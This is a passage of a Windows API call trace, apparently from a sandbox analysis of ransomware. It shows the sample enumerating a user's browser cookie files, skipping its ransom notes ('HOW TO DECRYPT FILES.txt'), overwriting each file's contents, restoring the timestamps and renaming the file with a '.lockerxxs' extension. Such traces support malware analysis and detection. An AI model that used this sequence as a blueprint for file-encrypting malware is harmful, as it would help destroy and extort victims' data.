halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt.lockerxxs")) returned 1 [0088.508] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6301df20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63a15b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63a15b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x1a000319, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@doubleclick[2].txt", cAlternateFileName="5P93CC~1.TXT")) returned 1 [0088.508] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.508] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@doubleclick[2].txt") returned 1 [0088.508] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@doubleclick[2].txt") returned 1 [0088.508] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@doubleclick[2].txt") returned -1 [0088.508] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt") returned="5p5nrgjn0js_halpmcxz@c.msn[1].txt" [0088.508] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.508] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.512] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt") returned="5p5nrgjn0js_halpmcxz@doubleclick[2].txt" [0088.512] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.512] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xea, lpOverlapped=0x0) returned 1 [0088.512] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.513] CloseHandle (hObject=0x9c) returned 1 [0088.513] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt.lockerxxs")) returned 1 [0088.514] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61093ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61093ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61093ba0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x256, dwReserved0=0x15000316, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@google[1].txt", cAlternateFileName="5P12F9~1.TXT")) returned 1 [0088.514] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.514] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@google[1].txt") returned 1 [0088.514] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@google[1].txt") returned 1 [0088.514] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@google[1].txt") returned -1 [0088.514] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt") returned="5p5nrgjn0js_halpmcxz@doubleclick[2].txt" [0088.514] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.514] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.517] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[1].txt") returned="5p5nrgjn0js_halpmcxz@google[1].txt" [0088.517] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.517] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x230, lpOverlapped=0x0) returned 1 [0088.518] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.518] CloseHandle (hObject=0x9c) returned 1 [0088.518] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[1].txt.lockerxxs")) returned 1 [0088.519] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x610b9d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61282d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61282d80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x1b000318, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@google[3].txt", cAlternateFileName="5P692F~1.TXT")) returned 1 [0088.519] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.519] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@google[3].txt") returned 1 [0088.519] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@google[3].txt") returned 1 [0088.519] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@google[3].txt") returned -1 [0088.519] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[1].txt") returned="5p5nrgjn0js_halpmcxz@google[1].txt" [0088.519] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.519] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.521] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[3].txt") returned="5p5nrgjn0js_halpmcxz@google[3].txt" [0088.521] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.522] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x9e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x9e, lpOverlapped=0x0) returned 1 [0088.522] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.522] CloseHandle (hObject=0x9c) returned 1 [0088.522] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[3].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[3].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[3].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[3].txt.lockerxxs")) returned 1 [0088.523] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e777a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x64e777a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x64e777a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x21f, dwReserved0=0x1b000318, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@google[4].txt", cAlternateFileName="5P3B8C~1.TXT")) returned 1 [0088.523] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.523] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@google[4].txt") returned 1 [0088.523] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@google[4].txt") returned 1 [0088.523] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@google[4].txt") returned -1 [0088.524] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[3].txt") returned="5p5nrgjn0js_halpmcxz@google[3].txt" [0088.524] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.524] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.525] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[4].txt") returned="5p5nrgjn0js_halpmcxz@google[4].txt" [0088.525] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.525] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1f9, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1f9, lpOverlapped=0x0) returned 1 [0088.526] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.526] CloseHandle (hObject=0x9c) returned 1 [0088.526] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[4].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[4].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[4].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[4].txt.lockerxxs")) returned 1 [0088.528] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x465ba5f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x465ba5f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x465ba5f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x1b000318, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@linkedin[1].txt", cAlternateFileName="5P1C80~1.TXT")) returned 1 [0088.528] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.528] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@linkedin[1].txt") returned 1 [0088.528] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@linkedin[1].txt") returned 1 [0088.529] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@linkedin[1].txt") returned -1 [0088.529] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[4].txt") returned="5p5nrgjn0js_halpmcxz@google[4].txt" [0088.529] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.529] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.531] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt") returned="5p5nrgjn0js_halpmcxz@linkedin[1].txt" [0088.531] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.531] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xea, lpOverlapped=0x0) returned 1 [0088.531] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.532] CloseHandle (hObject=0x9c) returned 1 [0088.532] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt.lockerxxs")) returned 1 [0088.533] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbfa5cef0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbfa5cef0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbfa5cef0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x76, dwReserved0=0x14000317, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@m.exactag[1].txt", cAlternateFileName="5PD7A3~1.TXT")) returned 1 [0088.533] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.533] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@m.exactag[1].txt") returned 1 [0088.533] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@m.exactag[1].txt") returned 1 [0088.533] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@m.exactag[1].txt") returned -1 [0088.533] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt") returned="5p5nrgjn0js_halpmcxz@linkedin[1].txt" [0088.533] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.533] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.535] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt") returned="5p5nrgjn0js_halpmcxz@m.exactag[1].txt" [0088.535] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.536] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x50, lpOverlapped=0x0) returned 1 [0088.536] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.536] CloseHandle (hObject=0x9c) returned 1 [0088.536] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt.lockerxxs")) returned 1 [0088.537] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50b50050, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x50b50050, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x50b50050, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x14000317, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@msn[1].txt", cAlternateFileName="5PBFF9~1.TXT")) returned 1 [0088.537] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.537] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@msn[1].txt") returned 1 [0088.537] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@msn[1].txt") returned 1 [0088.538] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@msn[1].txt") returned -1 [0088.538] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt") returned="5p5nrgjn0js_halpmcxz@m.exactag[1].txt" [0088.538] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.538] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.541] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt") returned="5p5nrgjn0js_halpmcxz@msn[1].txt" [0088.541] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.541] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x311, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x311, lpOverlapped=0x0) returned 1 [0088.542] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.542] CloseHandle (hObject=0x9c) returned 1 [0088.542] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@msn[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@msn[1].txt.lockerxxs")) returned 1 [0088.544] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5348e0b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5348e0b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5348e0b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, 